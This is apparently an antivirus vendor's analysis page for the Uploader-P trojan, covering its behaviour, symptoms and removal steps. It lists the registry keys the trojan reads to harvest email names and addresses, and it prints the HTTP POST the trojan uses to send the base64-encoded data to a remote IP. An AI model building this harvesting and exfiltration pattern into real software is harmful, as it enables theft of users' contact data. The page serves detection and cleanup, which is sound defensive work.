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Uploader-P

This page shows details and results of our analysis on the malware Uploader-P

Threat Detail

Malware Type: Trojan

Malware Sub-type: N/A

Discovery Date: 2004-06-30

Next Steps:

Overview

This is a trojan detection. Unlike viruses, trojans do not self-replicate. They are spread manually, often under the premise that they are beneficial or wanted. The most common installation methods involve system or security exploitation, and unsuspecting users manually executing unknown programs. Distribution channels include email, malicious or hacked web pages, Internet Relay Chat (IRC), peer-to-peer networks, etc.


Minimum DAT

4371 (2004-06-30)

Updated DAT

4406 (2004-11-10)

 Minimum Engine

5.1.00

File Length

86,016

 Description Added

2004-06-30

Description Modified

2004-09-09

Malware Proliferation

Characteristics

This trojan harvests user names and email addresses from the victim machine and sends them to a remote site.

When runs, it enumerates the following registry keys to read all the values from "SMTP Display Name" and "SMTP Email Address".

  • HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts
  • HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

It also reads a sid from the registry:

  • HKEY_CURRENT_USER\Identities\Default User ID

Then the trojan gathers the all information and constructs the following data.

report session
contacts_email.
contacts_username.
contacts_email.
contacts_username.
...
canUpdate1
sid{sid-info}

The trojan base-64 encodes this data and sends to the remote site "200.217.168.89" via http. The example of the HTTP request is as follows.

POST /worker.php?9 HTTP/1.1
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 200.217.168.89
Content-Length: xxx
Cache-Control: no-cache

(base64 encoded data)

Symptoms

  • An unexpected outgoing http message to "200.217.168.89"

Method of Infection

Trojans do not self-replicate. They are spread manually, often under the premise that the executable is something beneficial. Distribution channels include IRC, peer-to-peer networks, newsgroup postings, email, etc.

Removal

All Users:
Use current engine and DAT files for detection and removal.

Modifications made to the system Registry and/or INI files for the purposes of hooking system startup, will be successfully removed if cleaning with the recommended engine and DAT combination (or higher).

But in some particular cases, the following steps need to be taken.

Please go to the Microsoft Recovery Console and restore a clean MBR.

On Windows XP:

  • Insert the Windows XP CD into the CD-ROM drive and restart the computer.
  • When the "Welcome to Setup" screen appears, press R to start the Recovery Console.
  • Select the Windows installation that is compromised and provide the administrator password.
  • Issue 'fixmbr' command to restore the Master Boot Record
  • Follow onscreen instructions.
  • Reset and remove the CD from CD-ROM drive.


On Windows Vista and 7:

  • Insert the Windows CD into the CD-ROM drive and restart the computer.
  • Click on "Repair Your Computer".
  • When the System Recovery Options dialog comes up, choose the Command Prompt.
  • Issue 'bootrec /fixmbr' command to restore the Master Boot Record.
  • Follow onscreen instructions.
  • Reset and remove the CD from CD-ROM drive.

Variants

United States - English